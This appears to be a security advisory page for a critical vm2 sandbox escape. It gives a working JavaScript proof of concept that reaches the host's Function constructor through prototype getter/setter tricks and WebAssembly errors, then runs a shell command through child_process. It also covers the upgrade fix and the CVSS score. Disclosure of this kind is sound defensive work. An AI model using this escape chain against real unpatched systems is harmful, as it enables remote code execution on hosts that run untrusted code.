CVE-2026-47131
vm2 has a Sandbox Escape issue
Description
### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE
How to fix CVE-2026-47131
To remediate CVE-2026-47131, upgrade the affected package to a fixed version below.
- —upgrade to 3.11.4 or later
Is CVE-2026-47131 being exploited?
No exploitation signal available. Neither CISA KEV nor a current EPSS score has been published for CVE-2026-47131.
Affected packages (1)
- from 0, < 3.11.4
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 3.1 | CRITICAL10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |